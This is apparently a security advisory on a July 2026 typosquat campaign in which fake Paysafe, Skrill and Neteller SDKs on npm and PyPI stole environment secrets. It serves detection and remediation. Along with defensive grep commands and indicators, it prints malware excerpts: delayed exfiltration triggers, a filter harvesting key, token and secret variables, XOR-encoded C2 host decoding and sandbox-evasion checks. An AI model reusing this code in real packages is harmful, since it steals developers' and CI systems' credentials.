CVE
Not assigned
CWE
CWE-506, CWE-200
Affected Surface
- 13 npm package names published in malicious `1.0.0` through `1.0.3` waves on 7 July 2026: `paysafe-checkout`, `paysafe-vault`, `neteller`, `skrill-payments`, `paysafe-js`, `paysafe-api`, `paysafe-node`, `paysafe-cards`, `paysafe-fraud`, `paysafe-kyc`, `skrill`, `skrill-sdk`, and `paysafe-payments`
- 4 PyPI package names published as malicious `1.0.0` releases on 7 July 2026: `paysafe-kyc`, `paysafe-payments`, `paysafe-sdk`, and `paysafe-api`
- Developer workstations, backend services, and CI runners that imported the fake SDKs while exposing `PAYSAFE_API_KEY`, cloud credentials, registry tokens, GitHub tokens, or other environment-stored secrets
The most actionable new supply-chain story in the last 72 hours is not a compiler exploit or a novel install hook. It is a tightly scoped credential-stealing typosquat wave aimed at payment integrations. On 7 July 2026, attackers pushed 17 packages across npm and PyPI using names that look plausible to anyone skimming for Paysafe, Skrill, or Neteller support. The engineering detail that matters is that the payload is not trying to break payment flows. It is trying to look enough like payment code that your application will willingly hand it secrets.
This cluster deserves attention because the lure set matches how real teams talk about these products. Paysafe’s documented integrations use api.paysafe.com / api.test.paysafe.com, Payment Handles under paymenthub/v1, and wallet-specific flows for Skrill and Neteller. There is also a legitimate Paysafe Python SDK repository and an existing node-paysafe ecosystem package. That makes package names such as paysafe-node, paysafe-api, skrill-sdk, and neteller look believable even when they are not the vendor’s documented integration surface.
Affected packages
The public package set is small enough to scope exactly:
npm
paysafe-checkoutpaysafe-vaultnetellerskrill-paymentspaysafe-jspaysafe-apipaysafe-nodepaysafe-cardspaysafe-fraudpaysafe-kycskrillskrill-sdkpaysafe-payments
Each npm name reportedly shipped four malicious versions:
1.0.0
1.0.1
1.0.2
1.0.3
PyPI
paysafe-kycpaysafe-paymentspaysafe-sdkpaysafe-api
Each observed Python package reportedly shipped a malicious 1.0.0.
Why the lure worked
The malware authors did not invent random brand-adjacent names. They picked names that map closely enough to real developer expectations:
- Paysafe’s documented REST endpoints really do live at
https://api.paysafe.com/paymenthub/v1andhttps://api.test.paysafe.com/paymenthub/v1. - Skrill and Neteller are real payment instruments in the Paysafe Payments API, and the official docs talk about them with those exact product names.
- Skrill also has a documented browser-side
skrill.min.jsflow, which makes names likeskrill-sdkorskrill-paymentsseem routine.
That context matters because the malicious code abused it directly. In the npm case, the package exports a client class that looks like a wrapper around the real Paysafe API:
class PaysafeClient {
constructor(config = {}) {
this.apiKey = config.apiKey || process.env.PAYSAFE_API_KEY || null;
this.env = config.environment || process.env.PAYSAFE_ENV || "TEST";
this.base = this.env === "LIVE"
? "https://api.paysafe.com"
: "https://api.test.paysafe.com";
}
payments = {
create: async (data) => this._request("POST", "/paymenthub/v1/payments", data),
get: async (id) => this._request("GET", "/paymenthub/v1/payments/" + id),
};
}
Those strings are camouflage. The package does not need to talk to Paysafe at all to succeed as malware. It only needs your code to instantiate the class and call a method while secrets are present in the environment.
The npm payload waits for application use, not install time
One technically interesting choice is that the npm sample does not rely on a visible postinstall hook. Instead, it waits for an actual client method to run:
async _request(method, path, data) {
if (this.apiKey) {
setTimeout(() => exfiltrate({
m: method,
p: path,
k: this.apiKey.substring(0, 10),
}), 11768);
}
return { success: true, method, path };
}
Three things are happening here:
- the package returns a plausible success object immediately, so weak smoke tests may still pass
- exfiltration is delayed, which reduces the odds that a developer mentally links the outbound traffic to the SDK call
- the trigger is gated on
PAYSAFE_API_KEYor a constructor-supplied key, which makes the malware preferentially activate on hosts already wired to something valuable
That is a different tradeoff from commodity postinstall stealers. The attacker is betting that application execution context contains better secrets than raw package-manager context.
The credential filter is broad and CI-friendly
The exfiltrate function is the real payload. It fingerprints the host and then dumps any environment variable whose name looks sensitive:
function exfiltrate(extra) {
if (isSandbox()) return;
const payload = JSON.stringify({
hostname: os.hostname(),
username: os.userInfo().username,
cwd: process.cwd(),
env: Object.keys(process.env)
.filter((k) =>
k.includes("KEY") ||
k.includes("SECRET") ||
k.includes("TOKEN") ||
k.includes("PASS") ||
k.includes("AUTH") ||
k.includes("API")
)
.reduce((acc, k) => ({ ...acc, [k]: process.env[k].substring(0, 100) }), {}),
package: "paysafe-node",
extra,
});
}
This is why the campaign matters to AppSec teams even if they do not process Paysafe transactions. The filter is generic enough to catch:
PAYSAFE_API_KEYAWS_SECRET_ACCESS_KEYGITHUB_TOKENNPM_TOKEN- cloud workload credentials exposed as env vars
- CI/CD secrets injected into build jobs
- internal service API credentials
In other words, the brand lure is narrow, but the theft target is broad.
The C2 is hidden behind lightweight runtime decoding
The npm sample does not embed the control host as a plain string. It derives it at runtime with three simple transforms:
const XOR_KEY = Buffer.from("SGf6lmbr7GHUg99Z6R2U3g==", "base64");
function decodeString(base64) {
const buf = Buffer.from(base64, "base64");
const result = Buffer.alloc(buf.length);
for (let i = 0; i < buf.length; i++) {
result[i] = buf[i] ^ XOR_KEY[i % XOR_KEY.length];
}
return result.toString();
}
const raw = decodeString("iuCM41mdmqNX9OElK51WXTAYxe4ZkZWjUPmgI54jVl0+GIXspGou5epBXC+aZ+msPA==");
const shifted = raw.split("").map((c) => String.fromCharCode(c.charCodeAt(0) - 17)).join("");
const c2Host = shifted.split("").reverse().join("");
// caliber-spinner-finishing.ngrok-free.dev
This is not advanced obfuscation, but it is enough to defeat the weakest static scans and string-based reviews. The actual exfil path then becomes:
https://caliber-spinner-finishing.ngrok-free.dev:443/
For defenders, the operational lesson is simple: if a payment SDK is contacting an ngrok-free.dev host at runtime, you are no longer looking at a normal payment integration.
The Python packages move the same logic into __init__.py
The PyPI side is functionally similar, but the execution point is different. The published sample code places the exfil logic directly in package import scope:
import os, json, base64, time, platform, getpass
def _e(d=None):
if _h():
return
p = json.dumps({
"hn": platform.node(),
"us": getpass.getuser(),
"cw": os.getcwd(),
"ev": {
k: os.environ[k][:100]
for k in os.environ
if any(x in k.upper() for x in ["KEY", "SECRET", "TOKEN", "PASS", "AUTH", "API"])
},
"pk": "paysafe-sdk",
"ex": d or {},
}).encode()
The fake PaysafeClient class on the Python side preserves the same masquerade:
class PaysafeClient:
def __init__(self, k=None, e=None):
self.k = k or os.environ.get("PAYSAFE_API_KEY")
self.env = e or os.environ.get("PAYSAFE_ENV", "TEST")
self.b = "https://api.paysafe.com" if self.env.upper() == "LIVE" else "https://api.test.paysafe.com"
def create_payment(self, a, c="USD"):
if self.k:
time.sleep(12)
_e({"m": "create_payment", "k": self.k[:10]})
return {"status": "success", "amount": a, "currency": c}
That means Python environments do not even need a full payment flow. An import path and one apparently harmless method call are enough.
Sandbox checks are present, but they are weak
Both implementations include simple evasion logic keyed off low-core VMs and obvious hostnames or usernames such as:
sandbox
analyzer
cuckoo
virus
malware
vmware
vbox
This is not high-end anti-analysis tradecraft. It does, however, tell us the actor expected defenders to detonate samples in small virtual sandboxes and wanted the malware to fail closed there.
The registry state may already have moved past the live artifact
This campaign was detected quickly, which creates a familiar incident-response problem: by the time most organizations investigate, current registry state may no longer reflect what a build installed during the exposure window. For this class of event, historical evidence matters more than the package page you see today:
- lockfiles
- CI job logs
- package-cache contents
- artifact manifests
- proxy logs
- outbound network telemetry
If your first question is only “does the package still exist on the registry?”, you are already asking the wrong forensic question.
Detection and scoping
Start with dependency trees and lockfiles:
rg -n \
"paysafe-checkout|paysafe-vault|neteller|skrill-payments|paysafe-js|paysafe-api|paysafe-node|paysafe-cards|paysafe-fraud|paysafe-kyc|skrill|skrill-sdk|paysafe-payments" \
package.json package-lock.json pnpm-lock.yaml yarn.lock npm-shrinkwrap.json
rg -n \
"paysafe-kyc|paysafe-payments|paysafe-sdk|paysafe-api" \
requirements.txt pyproject.toml poetry.lock uv.lock
Then hunt for runtime indicators:
rg -n "ngrok-free\\.dev|caliber-spinner-finishing|PAYSAFE_API_KEY|api\\.paysafe\\.com|paymenthub/v1" \
"$HOME" /tmp /var/tmp .
Network and process review should prioritize:
caliber-spinner-finishing.ngrok-free.dev
HTTPS POST requests from application or CI hosts to ngrok-backed domains
Processes that imported a Paysafe/Skrill/Neteller package and then contacted non-Paysafe infrastructure
Because the exfil filter is environment-variable based, any confirmed execution on CI should trigger an immediate secret review, even if the package was never deployed to production.
Response guidance
Treat any host that imported and executed one of these packages as compromised.
- Isolate affected CI runners or developer hosts.
- Rotate registry tokens, GitHub tokens, cloud keys, payment credentials, and internal service secrets that were present in the environment.
- Rebuild from clean lockfiles and known-good package names rather than attempting in-place trust restoration.
- Review build logs for the package names above and correlate them with outbound traffic to the decoded
ngrok-free.devhost. - Verify integrations against the vendor’s documented surfaces instead of grabbing brand-shaped package names from a registry search result.
The broader lesson is that attackers no longer need exotic install hooks when a fake SDK will do. If the package can present a convincing client class, return a plausible success object, and wait for your real application to hand it secrets, the malicious behavior can hide inside what looks like perfectly ordinary integration glue.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- Socket: Coordinated npm and PyPI Campaign Typosquats Popular Secure Payment Apps
- Paysafe developer docs: Get Started
- Paysafe developer docs: Skrill
- Paysafe developer docs: Neteller
- Skrill JS initialization
- Paysafe Python SDK repository
- node-paysafe registry metadata
- CWE-506 Embedded Malicious Code
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor